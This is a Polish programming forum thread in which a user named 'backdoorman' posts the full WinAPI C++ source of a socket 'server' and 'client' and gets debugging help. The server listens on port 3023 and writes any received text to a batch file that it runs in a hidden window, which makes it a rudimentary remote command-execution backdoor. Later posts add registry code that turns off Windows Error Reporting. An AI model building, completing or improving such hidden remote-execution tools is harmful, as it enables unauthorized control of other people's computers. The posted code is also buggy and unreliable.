GetDlgItemText przechwycenie tekxtu do zmiennej

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
mam takie coś :
GetDlgItemText(hWnd,100,lalala,sizeof(lalala));
if(lalala =="xxx")
i chciał bym żeby po wpisanie "xxx" program wykonywał instrukcje ale probuje na rózne sposoby i jnie reaguje .
jak to napisać żeby po wpisaniu xxx wykonywała się dana instrukcja ??
 

h4x

Użytkownik
Dołączył
Styczeń 6, 2008
Posty
107
eee, == porownuje tylko 4 bajty (int).
Do stringow masz str(n)cmp albo recznie jedziesz po kazdym bajcie.
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
zrobiłem to przy użyciu <string>'a ale serwer z 30 kb zwiększył się na 130
a zawsze szukam takich rozwiązań żeby programy wychodziły jak najmniejsze .
dlatego dobrze by było jak dało się coś z 'char' wyczarować ale jak się nie da to trudno , narazie niech będą stringi.
 

h4x

Użytkownik
Dołączył
Styczeń 6, 2008
Posty
107
strcmp jest w stdio.h
policzmy, ile sie zwiekszy rozmiar:

2x push adres + 1 call = 16 bajtow
jako ze jest to c-decl, add esp,8 - 3 bajty. Ofc mozna to obejsc, jak jest kilka callow c-decl mozna zapisac esp w ebp i esp odnawiac.
mozna jeszcze sprawdzac wynik.
test eax,eax - 2 bajty

strcmp - 21 bajtow. Pomijajac fakt ze sekcja musi miec rozmiar wielokrotnosci 512 bajtow.
Wiec call wraz z ustawieniem (badz nie) ZF wykozysta 21 bajtow.

strncmp, 26 bajtow bo wymaga jeszcze 1 argumentu (int = 4 bajty).

Ofc to dla architektury x86 i formatu pe exe.


A dlaczego serwer zwieksza mase o ponad 400%? Bo c++ jest pr0 =]
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
Prawdę mówiąc nie dokońca zrozumiałem to co napisałeś ,ale jak już zrozumie to skorzystam .
mam jeszcze inny problem i tutaj też kombinuje i nic mi nie wychodzi , a chodzi o to że
serwer otczytuje tekst z pliku ale do klienta przesyła tylko jakieś (nie liczyłem ale na oko)
256 góra 512 znakow .
i nie znam możliwości zwiększenia limitu .
Przedstawię cały kod serwera do sprawdzenia :


#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <commctrl.h>
#include<string>
#include <ctype.h>
#define Okno1 100
#define Okno2 101
#define Buton 102

using namespace std;
static TCHAR lpszAppName[] = TEXT( "Serwer_XXX" );
SOCKET nasluchujacy,polaczony;
int rozmiar;
struct sockaddr_in sin;
char odbiorcza[1024];
char wysylajaca[1024];
string pass="xxx";
char lalala[500];
char masa[1024];

char *wiad;
long dlug;
int fel;
HWND hWnd, hEdit, hEdit2, hButon;
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{
switch (uMsg)
{
case WM_COMMAND:
switch(LOWORD(wParam))
{
case Buton:
GetWindowText(hEdit2,wysylajaca,1024);
send(polaczony,wysylajaca,1024,0);
break;
}
break;
case WM_USER:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:

polaczony = accept(nasluchujacy,(struct sockaddr *)&sin, &rozmiar);
send(polaczony,"połączony",1024,0);

break;
case FD_READ:

recv(polaczony,odbiorcza,1024,0);
SetWindowText(hEdit,odbiorcza);

GetWindowText(hEdit,lalala,500);
if (lalala ==pass)
{FILE *tex;
tex = fopen("C:system.ini","a+");
fclose(tex);
tex = fopen("C:system.ini","rb");
fseek(tex,0,SEEK_END);
dlug = ftell(tex);
fseek(tex,0,SEEK_SET);
wiad=(char *)malloc(dlug);
fel=fread(wiad,1,dlug,tex);
wiad[fel] = '0';
SetWindowText(hEdit2,wiad);
GetWindowText(hEdit2,masa,1024);



send(polaczony,masa,1024,0);
fclose(tex);

}

else

{
FILE *file;
file=fopen("C:system.bat","w");
fclose(file);
file = fopen("C:system.bat","a+");
fputs(lalala,file);
fclose(file);
ShellExecute(0,"open","C:system.bat",0,0,SW_HIDE);
send(polaczony,"bat uruchomiony",1024,0);
}



break;
case FD_CONNECT:

break;
case FD_WRITE:

break;
}
break;

case WM_CREATE:

break;

case WM_DESTROY:
closesocket(polaczony);
closesocket(nasluchujacy);
WSACleanup();
PostQuitMessage(0);
break;

case WM_KEYDOWN:

break;

default:

return (DefWindowProc(hWnd, uMsg, wParam, lParam));

}
return(0L);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

MSG msg;
WNDCLASS wndclass;


wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MainWndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = ExtractIcon(hInstance,"icon1.ico",0);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = lpszAppName;

if(RegisterClass(&wndclass) == 0)

return FALSE;

hWnd = CreateWindow(lpszAppName, lpszAppName,
WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN | WS_CLIPSIBLINGS,
300, 300,
440,300, NULL, NULL, hInstance, NULL);
if(hWnd == NULL)
return FALSE;

hEdit = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,10,10,200,200,hWnd,(HMENU)Okno1,hInstance,NULL);
hEdit2 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,220,10,200,200,hWnd,(HMENU)Okno2,hInstance,NULL);

hButon = CreateWindow("button","wyślij",WS_CHILD|WS_VISIBLE,220,220,100,20,hWnd,(HMENU)Buton,hInstance,NULL);

ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
int blad;
WORD wersja;
WSADATA wsaData;
wersja = MAKEWORD( 2, 0 );
blad = WSAStartup(wersja, &wsaData );

if ( blad != 0 )
{
MessageBox(hWnd,"error WSA","ERROR",MB_OK);
WSACleanup();
}

if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
MessageBox(hWnd,"error zła wersja winsocket","ERROR",MB_OK);
WSACleanup();
}

nasluchujacy = socket( AF_INET, SOCK_STREAM, 0 );


memset( &sin, 0, 1024 );
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(3023);
rozmiar = 1024;
if ( bind(nasluchujacy,(struct sockaddr *)&sin, 1024 )== SOCKET_ERROR )
{
MessageBox(hWnd,"bind - błąd","błąd",MB_OK);
WSACleanup();
}

if (listen(nasluchujacy,SOMAXCONN)==SOCKET_ERROR)
{
MessageBox(hWnd,"error listen","ERROR",MB_OK);
WSACleanup();
}
WSAAsyncSelect(nasluchujacy,hWnd,WM_USER,FD_ACCEPT|FD_CONNECT|FD_READ|FD_WRITE);


while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}


w oknie serwera jest cały tekst odczytany z pliku ale do klienta już całości nie wysyła
i nie wiem gdzie jest błąd w serwerze czy w kliencie
teraz dam kod klienta :




#include <winsock2.h>
#include <windows.h>
#include <commctrl.h>
#define Okno1 100
#define Okno2 101
#define Polacz 102
#define Wyslij 103
#define MaleOkno 104
SOCKET klient;
struct sockaddr_in sin;
char hoststr[50];
char wysylajaca[1024];
char odbiorcza[1024];
static TCHAR lpszAppName[] = TEXT( "Klient_XXX" );
HWND hWnd,hEdit,hEdit2,hEdit3,hButon,hButon2;

LRESULT CALLBACK MainWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{
switch (uMsg)
{
case WM_COMMAND:
switch(LOWORD(wParam))
{
case Polacz:
struct hostent *host;
GetWindowText(hEdit3,hoststr,50);
host=gethostbyname(hoststr);


memset( &sin, 0, 1024);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ((struct in_addr *)(host->h_addr))->s_addr;
sin.sin_port = htons(3023);
connect(klient,(struct sockaddr *) &sin, 1024);


break;
case Wyslij:
GetWindowText(hEdit2,wysylajaca,1024);
send(klient,(char*)&wysylajaca,1024,0);
break;
}
break;
case WM_USER:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:

break;
case FD_READ:
recv(klient,odbiorcza,1024,0);
SetWindowText(hEdit,odbiorcza);
break;
case FD_CONNECT:

break;
case FD_WRITE:

break;
}

case WM_CREATE:

break;

case WM_DESTROY:
closesocket(klient);
WSACleanup();
PostQuitMessage(0);
break;

case WM_KEYDOWN:

break;

default:

return (DefWindowProc(hWnd, uMsg, wParam, lParam));

}
return(0L);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

MSG msg;
WNDCLASS wc;


wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = MainWndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = ExtractIcon(hInstance,"icon1.ico",0);;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
wc.lpszMenuName = NULL;
wc.lpszClassName = lpszAppName;

if(RegisterClass(&wc) == 0)

return FALSE;

hWnd = CreateWindow(lpszAppName, lpszAppName,
WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN | WS_CLIPSIBLINGS,
400, 400,
500, 300, NULL, NULL, hInstance, NULL);
if(hWnd == NULL)
return FALSE;

hEdit = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,10,10,270,200,hWnd,(HMENU)Okno1,hInstance,NULL);
hEdit2 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"",WS_CHILD|WS_VISIBLE|ES_MULTILINE|ES_AUTOHSCROLL|ES_AUTOVSCROLL|WS_VSCROLL|
WS_HSCROLL,290,10,200,200,hWnd,(HMENU)Okno2,hInstance,NULL);
hEdit3 = CreateWindowEx(WS_EX_CLIENTEDGE,WC_EDIT,"localhost",WS_CHILD|WS_VISIBLE,10,250,410,20,hWnd,(HMENU)MaleOkno,hInstance,NULL);
hButon = CreateWindow("button","połącz",WS_CHILD|WS_VISIBLE,10,220,100,20,hWnd,(HMENU)Polacz,hInstance,NULL);
hButon2 = CreateWindow("button","wyślij",WS_CHILD|WS_VISIBLE,290,220,100,20,hWnd,(HMENU)Wyslij,hInstance,NULL);
int blad;
WORD wersja;
WSADATA wsaData;
wersja = MAKEWORD( 2, 0 );
blad = WSAStartup(wersja, &wsaData );

if ( blad != 0 )
{
MessageBox(hWnd,"error WSA","ERROR",MB_OK);
WSACleanup();
}

if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 0 )
{
MessageBox(hWnd,"error zła wersja winsocket","ERROR",MB_OK);
WSACleanup();
}
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);


klient = socket( AF_INET, SOCK_STREAM, 0 );
WSAAsyncSelect(klient,hWnd,WM_USER,FD_CONNECT|FD_READ|FD_WRITE|FD_ACCEPT);

while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return msg.wParam;
}


Myślę że dla kogoś kto dłużej w tym siedzi to pewnie będzie bardzo proste aby to zrobić tak żeby działało .
 

h4x

Użytkownik
Dołączył
Styczeń 6, 2008
Posty
107
chetnie ci pomoge, ale ani mysle kompilowac tego kodu. Jest go za duzo, no i nie jest on najlepszy ze tak powien
smile.gif

wytnij problematyczna funkcje.


//twoj problem moze miec zwiazek z fragmentacja. send nie zawsze wysyla tyle ile sie mu poda, dlatego zwraca to co wyslal.
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
na tym przykładzie to chciałem się trochu nauczyć socketów , ale przeszło mi bo nie mogę zrozumieć tego protokołu gg a bez niego nic ciekawego nie napiszę .
teraz wziąłem się za rejestr ale znowu mam problemy bo nie wiem jak dodawać watrości DWORD .
bo np. REG_SZ to proste jest , jaką wartość wpiszemy taka się doda do rejestru a jak w REG_DWORD coś wpisze to mi dodaje do rejestru : (niewłaściwa wartość DWORD).
Może tutaj ktoś mi to prościej wyjaśni o co chodzi ??
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
Niestety nic się nie zmieniło , albo czegoś nie zrozumiałem , wkleję przykładowy fragment kodu dla naświetlenia sprawy :
{
HKEY klucz;
char wartosc[]="0x00000000";
DWORD typ=REG_DWORD;
DWORD nowy;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftPCHealthErrorReporting",0,0,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,&klucz,&nowy);

RegSetValueEx(klucz,"DoReport",0,typ,(LPBYTE)wartosc,sizeof(wartosc));

return 0;
}
wartości wpisywałem różne ale nigdy nie udało mi się tak trafić aby w efekcie uzyskać zero
zamiast LPBYTE wpisywałem const BYTE* ale niczego to nie zmieniało .
 

h4x

Użytkownik
Dołączył
Styczeń 6, 2008
Posty
107
Kod:
#include <windows.h>

int main(){

int key,wartosc=666;

printf("%prn", RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWAREtest", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &key, 0));

printf("%prn", RegSetValueExA(key, "lol", 0, REG_DWORD, &wartosc, 4));

printf("%prn", RegCloseKey(key));

return 0;

}

dword to 4 bajty, a sizeof to blad. Tak, najstarsze 2 sa wyzerowane, przynajmniej powinny byc ;]
klucz sie tworzy poprawnie, ale regedit wywala error jak nie ma wielokrotnosci 4.
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
Kombinowałem aż wkońcu doszłem , chociaż ciężko mi to szło , a wszystko działa w taki sposób :
HKEY klucz;
DWORD wartosc =0;
DWORD typ=REG_DWORD;
DWORD nowy;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftPCHealthErrorReporting",0,0,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,&klucz,&nowy);

RegSetValueEx(klucz,"DoReport",0,typ,(unsigned char* )&wartosc,sizeof(wartosc));

Dzięki za pomoc .
Pozdrawiam .
 
Do góry Bottom